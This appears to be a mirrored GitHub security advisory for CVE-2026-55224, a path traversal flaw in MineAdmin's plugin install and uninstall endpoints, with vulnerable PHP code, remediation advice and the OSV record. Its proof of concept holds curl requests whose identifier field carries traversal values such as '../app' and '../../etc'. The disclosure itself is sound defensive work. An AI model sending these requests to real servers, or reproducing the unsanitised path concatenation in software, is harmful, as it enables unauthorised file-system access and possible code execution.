GHSA-59XM-4M8C-G3XJ
Vulnerability from github – Published: 2026-08-18 20:40 – Updated: 2026-08-18 20:40
VLAI
Summary
MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall
Details
Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall
Summary
The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.
Vulnerable Code
File: plugin/mine-admin/app-store/src/Service/Service.php
// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
if (empty($params['identifier']) || empty($params['version'])) {
$this->throwParamsFail();
}
$service = make(AppStoreServiceImpl::class);
if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) { // Path traversal
$result = $service->download($params['identifier'], $params['version']);
// ...
}
return true;
}
// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
if (file_exists($path . '/install.lock')) {
$this->throwAppInstalled();
}
Plugin::install($params['identifier']); // May run composer commands with traversal path
return true;
}
// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
// ...
$path = BASE_PATH . '/plugin/' . $params['identifier']; // Path traversal
Plugin::uninstall($params['identifier']); // Arbitrary uninstall
return true;
}
File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)
#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)
Proof of Concept
# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../app", "version": "1.0.0"}'
# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin
# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
-H "Authorization: Bearer <JWT_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"identifier": "../../etc", "version": "1.0.0"}'
Impact
- Path traversal enables reading directory existence outside the plugin directory
Plugin::install()with a traversed identifier may run composer commands on arbitrary directories- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
- Could lead to arbitrary code execution depending on
Plugin::install()implementation
Remediation
Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "mineadmin/mineadmin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.2.0-alpha.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55224"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:40:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall\n\n### Summary\nThe app-store plugin service concatenates unsanitized user-supplied `identifier` values directly into file system paths. An attacker can use path traversal sequences (e.g., `../`) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.\n\n### Vulnerable Code\n\n**File:** `plugin/mine-admin/app-store/src/Service/Service.php`\n\n```php\n// Line 32 - download(): path traversal via identifier\npublic function download(array $params): bool\n{\n if (empty($params[\u0027identifier\u0027]) || empty($params[\u0027version\u0027])) {\n $this-\u003ethrowParamsFail();\n }\n $service = make(AppStoreServiceImpl::class);\n if (! is_dir(BASE_PATH . \u0027/plugin/\u0027 . $params[\u0027identifier\u0027])) { // Path traversal\n $result = $service-\u003edownload($params[\u0027identifier\u0027], $params[\u0027version\u0027]);\n // ...\n }\n return true;\n}\n\n// Line 48 - install(): path traversal + Plugin::install() with raw identifier\npublic function install(array $params): bool\n{\n // ...\n $path = BASE_PATH . \u0027/plugin/\u0027 . $params[\u0027identifier\u0027]; // Path traversal\n if (file_exists($path . \u0027/install.lock\u0027)) {\n $this-\u003ethrowAppInstalled();\n }\n Plugin::install($params[\u0027identifier\u0027]); // May run composer commands with traversal path\n return true;\n}\n\n// Line 70 - unInstall(): same pattern\npublic function unInstall(array $params): bool\n{\n // ...\n $path = BASE_PATH . \u0027/plugin/\u0027 . $params[\u0027identifier\u0027]; // Path traversal\n Plugin::uninstall($params[\u0027identifier\u0027]); // Arbitrary uninstall\n return true;\n}\n```\n\n**File:** `plugin/mine-admin/app-store/src/Controller/IndexController.php` (lines 25-26)\n\n```php\n#[Controller(prefix: \u0027admin/plugin/store\u0027)]\n#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]\n// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)\n```\n\n### Proof of Concept\n\n```bash\n# Install a \"plugin\" from a traversed path, potentially triggering composer on\n# arbitrary directories\ncurl -X POST \"http://localhost:9501/admin/plugin/store/install\" \\\n -H \"Authorization: Bearer \u003cJWT_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"identifier\": \"../app\", \"version\": \"1.0.0\"}\u0027\n\n# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app\n# Plugin::install(\"../app\") processes the application directory as a plugin\n\n# Check if arbitrary path exists:\ncurl -X POST \"http://localhost:9501/admin/plugin/store/download\" \\\n -H \"Authorization: Bearer \u003cJWT_TOKEN\u003e\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"identifier\": \"../../etc\", \"version\": \"1.0.0\"}\u0027\n```\n\n### Impact\n\n- Path traversal enables reading directory existence outside the plugin directory\n- `Plugin::install()` with a traversed identifier may run composer commands on arbitrary directories\n- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this\n- Could lead to arbitrary code execution depending on `Plugin::install()` implementation\n\n### Remediation\n\nValidate and sanitize the `identifier` parameter to reject path traversal sequences. Use `basename()` or a strict regex allowlist (e.g., `^[a-zA-Z0-9_-]+$`) before concatenating into file paths.\\n\\n---\\n\\n**Update:** This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.",
"id": "GHSA-59xm-4m8c-g3xj",
"modified": "2026-08-18T20:40:37Z",
"published": "2026-08-18T20:40:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mineadmin/MineAdmin/security/advisories/GHSA-59xm-4m8c-g3xj"
},
{
"type": "WEB",
"url": "https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/mineadmin/MineAdmin"
},
{
"type": "WEB",
"url": "https://github.com/mineadmin/MineAdmin/releases/tag/v3.2.0-alpha.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall"
}
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Nomenclature
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vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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